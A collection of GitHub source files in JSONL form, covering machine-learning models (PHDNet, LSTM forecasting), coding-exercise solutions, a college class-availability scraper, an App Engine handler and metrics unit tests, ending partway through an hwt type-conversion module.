{"seq_id":"24152055608","text":"from data.data import DatasetPlaceholder, chose_dataset_placeholder, DataInfo\nfrom util.show_frames import show_frames\n\n\ndef show_dataset(args):\n    placeholders = DatasetPlaceholder.list_database(args.database_directory)\n    joined_dataset_infos = DataInfo.join(map(lambda ds_placeholder: ds_placeholder.data_info, placeholders))\n    print('num samples: {}'.format(joined_dataset_infos.num_samples))\n    dataset_placeholder = chose_dataset_placeholder(placeholders)\n\n    dataset = dataset_placeholder.load()\n\n    show_frames(dataset)\n","repo_name":"Bluemi/rnn_test","sub_path":"video_localization/src/data/show_dataset.py","file_name":"show_dataset.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"33510108303","text":"T = int(input())\nfor tc in range(1, T + 1):\n    N = int(input())\n    ai = list(map(int, input()))\n    cnt_lst = [0] * 10\n    cnt = 0\n    idx = 0\n    # 숫자열에서 하나씩 뽑아봅니다\n    for i in ai:\n        # 해당 인덱스에 1을 더해줍니다\n        cnt_lst[i] += 1\n    # 개수를 센 리스트에서 가장 큰 수를 확인합니다.\n    for n in cnt_lst:\n        if n > cnt:\n            cnt = n\n\n    # 가장 많은 카드 숫자를 확인하기 위한 반복문\n    ans = 0\n    for i in range(10):\n        if cnt_lst[i] == cnt:\n            ans = i\n\n    print(\"#{} {} {}\".format(tc, ans, cnt))","repo_name":"edkim3275/TIL","sub_path":"algorithm/List/SWEA_4834_숫자카드_김명준.py","file_name":"SWEA_4834_숫자카드_김명준.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73801190831","text":"\"\"\"\nPHDNet\n(c) Schobs, Lawrence\n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n# from .preresnet import BasicBlock, Bottleneck\n\n\nclass PHDNet(nn.Module):\n    \"\"\"Implmentation of the PHDNet architecture [ref].\n    Can use either the multi-branch scheme, heatmap branch only, or displacment branch only.\n\n    \"\"\"\n\n    def __init__(self, branch_scheme):\n        self.branch_scheme = branch_scheme\n        super(PHDNet, self).__init__()\n\n        padding = 1\n        run_stats = True\n        momentum = 0.1\n        # if is_train:\n        #     print(\"train mode\")\n        #     run_stats = True\n        #     momentum = 0.1\n        # else:\n        #     print(\"eval mode\")\n        #     run_stats = False\n        #    momentum = 0.1\n\n        self.layer1 = nn.Sequential(\n            nn.Conv2d(1, 32, kernel_size=3, stride=1, bias=True, padding=1),\n            nn.BatchNorm2d(32, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(2, stride=2),\n        )\n        self.layer2 = nn.Sequential(\n            nn.Conv2d(32, 32, kernel_size=3, stride=1, bias=True, padding=1),\n            nn.BatchNorm2d(32, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(2, stride=2),\n        )\n        self.layer3 = nn.Sequential(\n            nn.Conv2d(32, 32, kernel_size=3, stride=1, bias=True, padding=1),\n            nn.BatchNorm2d(32, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(2, stride=2),\n        )\n        self.layer4 = nn.Sequential(\n            nn.Conv2d(32, 32, kernel_size=3, stride=1, bias=True, padding=1),\n            nn.BatchNorm2d(32, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n        )\n        self.layer5 = nn.Sequential(\n            nn.Conv2d(32, 32, kernel_size=3, stride=1, bias=True, padding=1),\n            nn.BatchNorm2d(32, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n        )\n        self.layer6 = nn.Sequential(\n            nn.Conv2d(32, 32, kernel_size=3, stride=1, bias=True, padding=1),\n            nn.BatchNorm2d(32, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n        )\n\n        self.layer_reg = nn.Sequential(\n            nn.Conv2d(32, 64, kernel_size=1, stride=1, bias=True),\n            nn.BatchNorm2d(64, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n            nn.Conv2d(64, 96, kernel_size=1, stride=1, bias=True),\n            nn.BatchNorm2d(96, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n        )\n\n        self.layer_class = nn.Sequential(\n            nn.Conv2d(32, 64, kernel_size=1, stride=1, bias=True),\n            nn.BatchNorm2d(64, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n            nn.Conv2d(64, 96, kernel_size=1, stride=1, bias=True),\n            nn.BatchNorm2d(96, momentum=momentum, track_running_stats=run_stats),\n            nn.ReLU(inplace=True),\n        )\n\n        self.outReg = nn.Sequential(\n            nn.Conv2d(96, 2, kernel_size=1, stride=1, bias=True)\n            # nn.ReLU(inplace=True),\n            # what acitivaton function for this??\n        )\n\n        self.outClass = nn.Sequential(\n            nn.Conv2d(96, 1, kernel_size=1, stride=1, bias=True)\n        )\n\n        # dont apply sigmoid if using weighted loss as BCEwithlogits does sigmoid in it.\n\n    def forward(self, x):\n\n        # print(\"the shape of x is:\", x.shape)\n        # out = []\n        # print(x.shape)\n        x = self.layer1(x)\n        # print(x.shape)\n        x = self.layer2(x)\n        # print(x.shape)\n\n        x = self.layer3(x)\n        # print(x.shape)\n\n        x = self.layer4(x)\n        # print(x.shape)\n\n        x = self.layer5(x)\n        # print(x.shape)\n\n        x = self.layer6(x)\n        # print(x.shape)\n\n        if self.branch_scheme == \"multi\" or \"displacement\":\n\n            x_reg = self.layer_reg(x)\n            # print(\"reg, \", x_reg.shape)\n            # unsqueeze because single landmark version does not give correct out dimensions\n            out_reg = self.outReg(x_reg).unsqueeze(1)\n            # print(out_reg.shape)\n\n        if self.branch_scheme == \"multi\" or \"heatmap\":\n\n            x_class = self.layer_class(x)\n            # print(\"class, \", x_class.shape)\n\n            out_class = self.outClass(x_class)\n\n            # if sigmoid == True:\n            #     s = nn.Sigmoid()\n            #     out_class = s(out_class)\n\n        #  print(out_class.shape)\n\n        # out.append([out_class, out_reg])\n        if self.branch_scheme == \"multi\":\n            return [out_class, out_reg]\n        elif self.branch_scheme == \"heatmap\":\n            return out_class\n        else:\n            return out_reg\n","repo_name":"Schobs/MediMarker","sub_path":"models/PHD_Net.py","file_name":"PHD_Net.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"38"}
{"seq_id":"14950999374","text":"'''\nKoko loves to eat bananas. There are n piles of bananas, the ith pile has piles[i] bananas. The guards have gone and will come back in h hours.\n\nKoko can decide her bananas-per-hour eating speed of k. Each hour, she chooses some pile of bananas and eats k bananas from that pile. If the pile has less than k bananas, she eats all of them instead and will not eat any more bananas during this hour.\n\nKoko likes to eat slowly but still wants to finish eating all the bananas before the guards return.\n\nReturn the minimum integer k such that she can eat all the bananas within h hours.\n\n\n\nExample 1:\n\nInput: piles = [3,6,7,11], h = 8\nOutput: 4\nExample 2:\n\nInput: piles = [30,11,23,4,20], h = 5\nOutput: 30\nExample 3:\n\nInput: piles = [30,11,23,4,20], h = 6\nOutput: 23\n\n\nConstraints:\n\n1 <= piles.length <= 104\npiles.length <= h <= 109\n1 <= piles[i] <= 109\n'''\n\n'''\nSolution 1:\nbinary search\n\nmin speed is 1\nmax speed is max(piles) which means fast way will eat all by piles.count hour\n\nbinary search to find the minimum speed\n\nTime Complexity: O(nlogn)\nSpace Complexity: O(1)\n'''\nclass Solution:\n    def minEatingSpeed(self, piles: List[int], h: int) -> int:\n        minSpeed = 1\n        maxSpeed = max(piles)\n\n        while minSpeed < maxSpeed:\n            midSpeed = minSpeed + (maxSpeed - minSpeed) // 2\n            if self.canEatAll(midSpeed, piles, h) == False:\n                minSpeed = midSpeed + 1\n            else:\n                maxSpeed = midSpeed\n\n        return minSpeed\n\n    def canEatAll(self, speed: int, piles: List[int], h: int) -> bool:\n        willTake = 0\n        for p in piles:\n            willTake += math.ceil(p / speed)\n        return willTake <= h\n\n","repo_name":"HevaWu/Leetcode","sub_path":"Koko_Eating_Bananas.py","file_name":"Koko_Eating_Bananas.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"34996884684","text":"#Jaspal Bainiwal\n#Script to check DeAnza college in Cupertino, CA class availability\n#class search url follows the following format\n#\"https://www.deanza.edu/schedule/listings.html?dept=\"+dept+\"&t=\"+term\n\nimport bs4 as bsoup\nimport requests\nimport time\nimport api_keys as key\n\nprint(\"Welcome to course waitlist watcher\")\ndept = input(\"Enter department id: \").upper()\nterm = input(\"Enter quarter term: \").upper()\ncrn = input(\"Enter course number to watch: \")\nclass_open = False\n\ndef email_event(course, crn, prof):\n  event = key.EVENT_NAME\n  ifttt_key = key.KEY\n  payload = {\"value1\":course,\"value2\":crn,\"value3\":prof}\n  r = requests.post('https://maker.ifttt.com/trigger/' + event + '/with/key/' + ifttt_key, json=payload)\n  print(\"Email sent\")\n  return\n\ndef class_checker():\n  url = \"https://www.deanza.edu/schedule/listings.html?dept=\"+dept+\"&t=\"+term\n  response = requests.get(url)\n  soup = bsoup.BeautifulSoup(response.text, \"html.parser\")\n  t_body = soup.find(\"tbody\")\n  tr = t_body.find_all(\"tr\")\n\n  for x in tr:\n    td = x.find_all('td')\n    if (td[0].get_text()) == crn:\n      #if this is the correct course number\n      if (td[3].get_text().upper()) == 'OPEN':\n        course_name = td[4].find(\"a\", href=True).get_text()\n        prof_name = td[7].get_text()\n        email_event(course_name, crn, prof_name)\n        class_open = True\n        return class_open\n\nwhile class_open != True:\n  class_open = class_checker()\n  time.sleep(3600)\n","repo_name":"jaspalsb/course_availability_checker","sub_path":"my_course_checker.py","file_name":"my_course_checker.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6164076712","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: 61426\n\"\"\"\n# F6054，F6060 站点数据不足\n\nimport pandas as pd\nimport numpy as np\nimport joblib\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import MinMaxScaler\nimport  os\nfrom tensorflow.keras.models import Sequential, load_model\nfrom tools import file_tools\n\ndef add_obp(ID,season,predict_day,time,type,data_path='data/last_15_days/',\n            obp_path = 'data/obp/',models_save_path = 'models/lstm/'):\n    \"\"\"\n    通过lstm模型，添加lstm的预测值obp\n    ----------\n    ID : string\n        要建模的站点\n    season : string\n        要建模的季节（3-4）\n    predict_day : int\n        要预测的天数\n    time : string\n        要预测几点起报(08)\n    data_path : string\n        路径，过去15天的ob,ec数据\n    obp_path : string\n        obp的保存路径\n    look_after : int\n        预测未来多少个数据\n    models_save_path : string\n        路径，lstm模型存放地点\n    ----------\n    \"\"\"\n    print('*'*10)\n    print(ID,season,predict_day,'start')\n    \n    FILES_PATH = data_path+str(predict_day)+'天/'+season+'/'+time+'/'+type+'/'+ID+'.csv'\n    SAVE_PATH = obp_path+str(predict_day)+'天/'+season+'/'+time+'/'+type+'/'\n    MODEL_SAVE_PATH = models_save_path+time+'/'+ID+'_1.h5'\n    \n    origin_data = pd.read_csv(FILES_PATH)\n    origin_data['ob_p'] = ''\n    \n    # 获取数据\n    data = origin_data\n    cols = []\n    for i in range(-15,-(predict_day-1),1):\n        column = 'ob_'+str(i)\n        cols.append(column)\n    for i in range(-(predict_day-1),0,1):\n        column = type+'_'+str(i)\n        cols.append(column)\n    \n    data = np.array(data[cols])\n    \n    \n    #归一化\n    scaler = MinMaxScaler(feature_range=(0, 1))\n    data = scaler.fit_transform(data)\n    \n    X = data.reshape(data.shape[0],data.shape[1],1)\n    \n    # 加载模型并预测\n    model = load_model(MODEL_SAVE_PATH)\n    Predicts = model.predict(X)\n    \n    # 保存obp结果\n    origin_data['ob_p'] = Predicts\n    cols = ['predict_time','MSL','ob',type,'ob_p']\n    file_tools.check_dir_and_mkdir(SAVE_PATH)\n    origin_data[cols].to_csv(SAVE_PATH+ID+'_p.csv',index=False)\n\n\n\ndef add_obp_by_one(ID,data,predict_day,time,type,models_save_path = 'models/lstm/'):\n    \"\"\"\n    通过lstm模型，添加lstm的预测值obp\n    ----------\n    ID : string\n        要建模的站点\n    data : dataframe\n        所接受的过去15天值\n    predict_day : int\n        要预测的天数\n    time : string\n        要预测几点起报(08)\n    models_save_path : string\n        路径，lstm模型存放地点\n    ----------\n    return : dataframe\n        添加ob_p后的数据\n    \"\"\"\n    \n    MODEL_SAVE_PATH = models_save_path+time+'/'+ID+'_1.h5'\n    \n    origin_data = data\n    origin_data['ob_p'] = ''\n    \n    # 获取数据\n    data = origin_data\n    cols = []\n    for i in range(-15,-(predict_day-1),1):\n        column = 'ob_'+str(i)\n        cols.append(column)\n    for i in range(-(predict_day-1),0,1):\n        column = type+'_'+str(i)\n        cols.append(column)\n    \n    data = np.array(data[cols])\n    \n    \n    #归一化\n    scaler = MinMaxScaler(feature_range=(0, 1))\n    data = scaler.fit_transform(data)\n    \n    X = data.reshape(data.shape[0],data.shape[1],1)\n    \n    # 加载模型并预测\n    model = load_model(MODEL_SAVE_PATH)\n    Predicts = model.predict(X)\n    \n    # 保存obp结果\n    origin_data['ob_p'] = Predicts\n    cols = ['predict_time','MSL',type,'ob_p']\n    return origin_data[cols]\n\n","repo_name":"z614266960/weather_website","sub_path":"build_model/add_lstm.py","file_name":"add_lstm.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7438655142","text":"# All DNA is composed of a series of nucleotides abbreviated as A, C, G, and T, for example: \"ACGAATTCCG\". When studying DNA, it is sometimes useful to identify repeated sequences within the DNA.\n\n# Write a function to find all the 10-letter-long sequences (substrings) that occur more than once in a DNA molecule.\n\n# Example:\n\n# Input: s = \"AAAAACCCCCAAAAACCCCCCAAAAAGGGTTT\"\n\n# Output: [\"AAAAACCCCC\", \"CCCCCAAAAA\"]\n\n\nclass Solution:\n    # @param s, a string\n    # @return a list of strings\n    def findRepeatedDnaSequences(self, s):\n        dictionary = dict()\n        for i in [s[x: x + 10] for x in range(len(s) - 9)]:\n            dictionary[i] = dictionary.get(i, 0) + 1\n        return [k for k, v in dictionary.iteritems() if v > 1]\n","repo_name":"jli226/daily-leetcode-practice","sub_path":"certainTypeQuestions/HashTable/187.RepeatedDNASequences.py","file_name":"187.RepeatedDNASequences.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"32140548536","text":"# Makes a new page for tracking items\nimport jinja_env\nimport logging\nimport webapp2\nimport time\nfrom google.appengine.ext import ndb\nfrom models import money_model\nfrom google.appengine.api import users\nclass TrackItemHandler(webapp2.RequestHandler):\n\tdef get(self):\n\t\tlogging.info(\"TrackItemHandler\")\n\n\n\t\tuser=users.get_current_user()\n\t\ttrack = money_model.moneyModel.query(money_model.moneyModel.user_email == user.email()).get()\n\n\t\tif track == None:\n\t\t\tself.redirect(\"/second\")\n\t\t\treturn\n\t\titemKey=track.key.urlsafe()\n\n\n\n\n\n\n\n\t\thtml_params = {\n\t\t\t\"title\": \"Tracked Item List\",\n\t\t\t\"content\": \"Selected Items Listed Below:\",\n\t\t\t\"totalCost\": track.price,\n\t\t\t\"modelKey\": itemKey,\n\t\t\t\"current\": track.currentSavings,\n\n\n\t\t}\n\n\n\t\ttemplate = jinja_env.env.get_template('templates/Track.html')\n\t\tself.response.out.write(template.render(html_params))\n\n#Get information for comments and post of images\n\tdef post(self):\n\t\tlogging.info(\"USER SAID POST\")\n\t\t# r_user = self.request.get(\"usrform\")\n\t\t# r_form = self.request.get(\"fileToUpload\")\n\t\t# r_comit = self.request.get(\"comment\")\n\t\tr_currentSavings = self.request.get(\"form_currentSavings\")\n\t\tmodelKeyString = self.request.get(\"modelKey\")\n\t\tmodelKey = ndb.Key(urlsafe=modelKeyString)\n\t\ttrack = modelKey.get()\n\n\t\ttrack.currentSavings = float(r_currentSavings)\n\t\ttrack.put()\n\t\ttime.sleep(1)\n\n\n\t\t# TrackItem = Save_Model. SaveModel(\n\t\t# \tusername= r_user,)\n\t\tself.redirect(\"/progress\")\n\n \n\n\n","repo_name":"ematt3/Money-saver","sub_path":"handlers/TrackItem_Handler.py","file_name":"TrackItem_Handler.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"35627767701","text":"import os\nimport unittest\nfrom taimatsu.utils import Metrics\nfrom unittest.mock import patch\nimport pandas as pd\nfrom freezegun import freeze_time\nfrom taimatsu.utils.options import get_device\nfrom platform import platform\n\nCSV_OUTPUT_FILENAME = \"./tests/unit/output/summary.csv\"\n\n\nclass TestMetrics(unittest.TestCase):\n    @staticmethod\n    def read_dataframe_from_csv():\n        dataframe = pd.read_csv(CSV_OUTPUT_FILENAME, index_col=False)\n\n        dataframe.columns = [col.strip() for col in dataframe.columns]\n        return dataframe\n\n    def tearDown(self):\n        try:\n            if os.path.exists(CSV_OUTPUT_FILENAME):\n                os.remove(CSV_OUTPUT_FILENAME)\n        except OSError as oserr:\n            print(oserr)\n\n    def test_train_accuracy(self):\n        with Metrics(\n           csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_batch_training_accuracy(1.5)\n            metrics.update_batch_training_accuracy(1.0)\n            self.assertEqual(metrics.best_training_accuracy, 1.5)\n\n    def test_test_accuracy(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_test_accuracy(1.5)\n            metrics.update_test_accuracy(1.0)\n            self.assertEqual(metrics.best_test_accuracy, 1.5)\n\n    def test_train_accuracy_csv_output(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_batch_training_accuracy(0.01523)\n        self.assertEqual(\n            float(self.read_dataframe_from_csv()[\"Training Acc %\"].values[0]), 1.52\n        )\n\n    def test_test_accuracy_csv_output(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_test_accuracy(0.01523)\n        self.assertEqual(\n            float(self.read_dataframe_from_csv()[\"Test Acc %\"].values[0]), 1.52\n        )\n\n    def test_time_taken(self):\n        with patch(\"time.time\", return_value=1):\n            with Metrics(\n                csv_filepath=CSV_OUTPUT_FILENAME\n            ):\n                self.assertEqual(True, True)\n\n            self.assertEqual(\n                int(self.read_dataframe_from_csv()[\"Elapsed (s)\"].values[0]),\n                0,\n            )\n\n    def test_train_accuracy_csv_output(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_batch_training_accuracy(0.01523)\n\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_batch_training_accuracy(0.01623)\n        self.assertEqual(\n            float(self.read_dataframe_from_csv()[\"Training Acc %\"].values[0]), 1.52\n        )\n        self.assertEqual(\n            float(self.read_dataframe_from_csv()[\"Training Acc %\"].values[1]), 1.62\n        )\n\n    def test_test_accuracy_csv_output(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_test_accuracy(0.01523)\n\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_test_accuracy(0.01623)\n        self.assertEqual(\n            float(self.read_dataframe_from_csv()[\"Test Acc %\"].values[0]), 1.52\n        )\n        self.assertEqual(\n            float(self.read_dataframe_from_csv()[\"Test Acc %\"].values[1]), 1.62\n        )\n\n    @freeze_time(\"2021-12-25 03:01:33\")\n    def test_start_time_in_output(self):\n\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_batch_training_accuracy(0.01523)\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Start time\"].values[0],\n            \"25-12-21 03:01:33\",\n        )\n\n    def test_epoch(self):\n\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.current_epoch(2)\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Epochs\"].values[0],\n            2,\n        )\n\n    def test_best_training_loss(self):\n\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_training_loss(0.2)\n            metrics.update_training_loss(0.1)\n            metrics.update_training_loss(0.3)\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Training Loss\"].values[0],\n            0.1,\n        )\n\n    def test_best_test_loss(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.update_test_loss(0.2)\n            metrics.update_test_loss(0.1)\n            metrics.update_test_loss(0.3)\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Test Loss\"].values[0],\n            0.1,\n        )\n\n    def test_empty_best_training_loss(self):\n\n        with Metrics(csv_filepath=CSV_OUTPUT_FILENAME):\n            pass\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Training Loss\"].values[0],\n            \"Not set\",\n        )\n\n    def test_empty_best_test_loss(self):\n\n        with Metrics(csv_filepath=CSV_OUTPUT_FILENAME):\n            pass\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Test Loss\"].values[0],\n            \"Not set\",\n        )\n\n    def test_dataset_name(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME,\n            dataset=\"Iris\",\n        ):\n            pass\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Dataset\"].values[0],\n            \"Iris\",\n        )\n\n    def test_device_name(self):\n        with Metrics(csv_filepath=CSV_OUTPUT_FILENAME):\n            pass\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Device\"].values[0],\n            get_device().type,\n        )\n\n    def test_platform_info(self):\n        with Metrics(csv_filepath=CSV_OUTPUT_FILENAME):\n            pass\n\n        self.assertEqual(\n            self.read_dataframe_from_csv()[\"Platform\"].values[0],\n            platform(),\n        )\n\n    def test_add_epoch_train_loss(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.add_epoch_train_loss(0.7)\n            metrics.add_epoch_train_loss(0.6)\n            self.assertEqual(metrics.epoch_train_losses, [0.7, 0.6])\n\n    def test_add_epoch_test_loss(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.add_epoch_test_loss(0.7)\n            metrics.add_epoch_test_loss(0.6)\n            self.assertEqual(metrics.epoch_test_losses, [0.7, 0.6])\n\n\n    def test_epoch_performance(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.add_epoch_train_loss(0.7)\n            metrics.add_epoch_train_loss(0.6)\n\n            # f\"[{epoch}/{number_of_epochs()}], \\\n            # loss: {np.round(sum(batch_losses) / num_batches_train, 3)} \\\n            #     acc: {100 * np.round(sum(batch_accuracies) / num_batches_train, 3)}\"\n            self.assertEqual(metrics.current_epoch_loss(), 0.6)\n\n    def test_add_epoch_train_accuracy(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.add_epoch_train_accuracy(70)\n            metrics.add_epoch_train_accuracy(75)\n            self.assertEqual(metrics.epoch_train_accuracies, [70, 75])\n\n    def test_epoch_test_accuracy(self):\n        with Metrics(\n            csv_filepath=CSV_OUTPUT_FILENAME\n        ) as metrics:\n            metrics.add_epoch_test_accuracy(70)\n            metrics.add_epoch_test_accuracy(75)\n            self.assertEqual(metrics.epoch_test_accuracies, [70, 75])","repo_name":"taimatsudev/taimatsu","sub_path":"tests/unit/test_metrics.py","file_name":"test_metrics.py","file_ext":"py","file_size_in_byte":7762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"37505409285","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 21 11:33:37 2018\n\n@author: hvzhang@gmail.com\n\"\"\"\n\n\nimport pandas as pd\nimport numpy\nimport matplotlib.pyplot as plt\nimport math\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_squared_error\n#%matplotlib inline\n\n\n#Read the raw data\nTrain_Data_File = 'D:\\\\workspace\\\\py\\\\yanfang\\\\hd\\\\TrainData.csv'\nTest_Data_File = 'D:\\\\workspace\\\\py\\\\yanfang\\\\hd\\\\TestData.csv'\n\n#Load & prepare the training data\nTrainData = pd.read_csv(Train_Data_File, sep=\",\", header=None)\nTrainData.drop(TrainData.columns[[5, 6]], axis=1, inplace=True)\nTrainData.drop(TrainData.columns[[0,1,2,3]], axis=1, inplace=True)\n\ntrainDataSet = TrainData.values\n\n#Load and prepare the test data\nTestData = pd.read_csv(Test_Data_File, sep=\",\", header=None)\nTestData.drop(TestData.columns[[5, 6]], axis=1, inplace=True)\nTestData.drop(TestData.columns[[0,1,2,3]], axis=1, inplace=True)\n\ntestDataSet = TestData.values\n\n\n\n#print(TrainData)\n\n#plt.plot( testDataSet)\n#plt.show()\n\n\n# X is the number of passengers at a given time (t) and Y is the number of passengers at the next time (t + 1).\n\n# convert an array of values into a dataset matrix\ndef create_dataset(dataset, look_back=1):\n    dataX, dataY = [], []\n    for i in range(len(dataset)-look_back-1):\n        a = dataset[i:(i+look_back), 0]\n        dataX.append(a)\n        dataY.append(dataset[i + look_back, 0])\n    return numpy.array(dataX), numpy.array(dataY)\n\n# fix random seed for reproducibility\nnumpy.random.seed(7)\n\n\n# use this function to prepare the train and test datasets for modeling\nlook_back = 1\ntrainX, trainY = create_dataset(trainDataSet, look_back)\ntestX, testY = create_dataset(testDataSet, look_back)\n\n# reshape input to be [samples, time steps, features]\ntrainX = numpy.reshape(trainX, (trainX.shape[0], 1, trainX.shape[1]))\ntestX = numpy.reshape(testX, (testX.shape[0], 1, testX.shape[1]))\n\n#print(trainX)\n\n# create and fit the LSTM network\nmodel = Sequential()\nmodel.add(LSTM(4, input_shape=(1, look_back)))\nmodel.add(Dense(1))\nmodel.compile(loss='mean_squared_error', optimizer='adam')\nmodel.fit(trainX, trainY, epochs=100, batch_size=1, verbose=2)\n\n\n# make predictions\ntrainPredict = model.predict(trainX)\ntestPredict = model.predict(testX)\n\n'''\n# invert predictions\ntrainPredict = scaler.inverse_transform(trainPredict)\ntrainY = scaler.inverse_transform([trainY])\ntestPredict = scaler.inverse_transform(testPredict)\ntestY = scaler.inverse_transform([testY])\n\ntrainScore = math.sqrt(mean_squared_error(trainY[0], trainPredict[:,0]))\nprint('Train Score: %.2f RMSE' % (trainScore))\ntestScore = math.sqrt(mean_squared_error(testY[0], testPredict[:,0]))\nprint('Test Score: %.2f RMSE' % (testScore))\n\n\n# shift train predictions for plotting\ntrainPredictPlot = numpy.empty_like(dataset)\ntrainPredictPlot[:, :] = numpy.nan\ntrainPredictPlot[look_back:len(trainPredict)+look_back, :] = trainPredict\n\n# shift test predictions for plotting\ntestPredictPlot = numpy.empty_like(dataset)\ntestPredictPlot[:, :] = numpy.nan\ntestPredictPlot[len(trainPredict)+(look_back*2)+1:len(dataset)-1, :] = testPredict\n'''\n# plot baseline and predictions\n#plt.plot(scaler.inverse_transform(dataset))\n#plt.plot(trainPredictPlot)\n#plt.plot(testPredictPlot)\n#plt.show()\n\n","repo_name":"hvzhang/LSTM_Seqence","sub_path":"NextValue.py","file_name":"NextValue.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"30497851778","text":"from hwt.hdl.operator import Operator\nfrom hwt.hdl.operatorDefs import AllOps\nfrom hwt.hdl.types.array import HArray\nfrom hwt.hdl.types.bits import Bits\nfrom hwt.hdl.types.bool import HBool\nfrom hwt.hdl.types.defs import INT\nfrom hwt.hdl.types.hdlType import default_auto_cast_fn\nfrom hwt.hdl.types.struct import HStruct\nfrom hwt.hdl.types.union import HUnion\nfrom hwt.hdl.value import Value\nfrom hwt.synthesizer.vectorUtils import iterBits, fitTo_t\nfrom hwt.doc_markers import internal\n\n@internal\ndef convertBits__val(self, val, toType):\n    if isinstance(toType, HBool):\n        return val._eq(self.getValueCls().fromPy(1, self))\n    elif isinstance(toType, Bits):\n        return val._convSign__val(toType.signed)\n    elif toType == INT:\n        return INT.getValueCls()(val.val,\n                                 INT,\n                                 int(val._isFullVld()),\n                                 val.updateTime)\n\n    return default_auto_cast_fn(self, val, toType)\n\n\n@internal\ndef convertBits(self, sigOrVal, toType):\n    \"\"\"\n    Cast signed-unsigned, to int or bool\n    \"\"\"\n    if isinstance(sigOrVal, Value):\n        return convertBits__val(self, sigOrVal, toType)\n    elif isinstance(toType, HBool):\n        if self.bit_length() == 1:\n            v = 0 if sigOrVal._dtype.negated else 1\n            return sigOrVal._eq(self.getValueCls().fromPy(v, self))\n    elif isinstance(toType, Bits):\n        if self.bit_length() == toType.bit_length():\n            return sigOrVal._convSign(toType.signed)\n    elif toType == INT:\n        return Operator.withRes(AllOps.BitsToInt, [sigOrVal], toType)\n\n    return default_auto_cast_fn(self, sigOrVal, toType)\n\n\n@internal\ndef reinterpret_bits_to_hstruct(sigOrVal, hStructT):\n    \"\"\"\n    Reinterpret signal of type Bits to signal of type HStruct\n    \"\"\"\n    container = 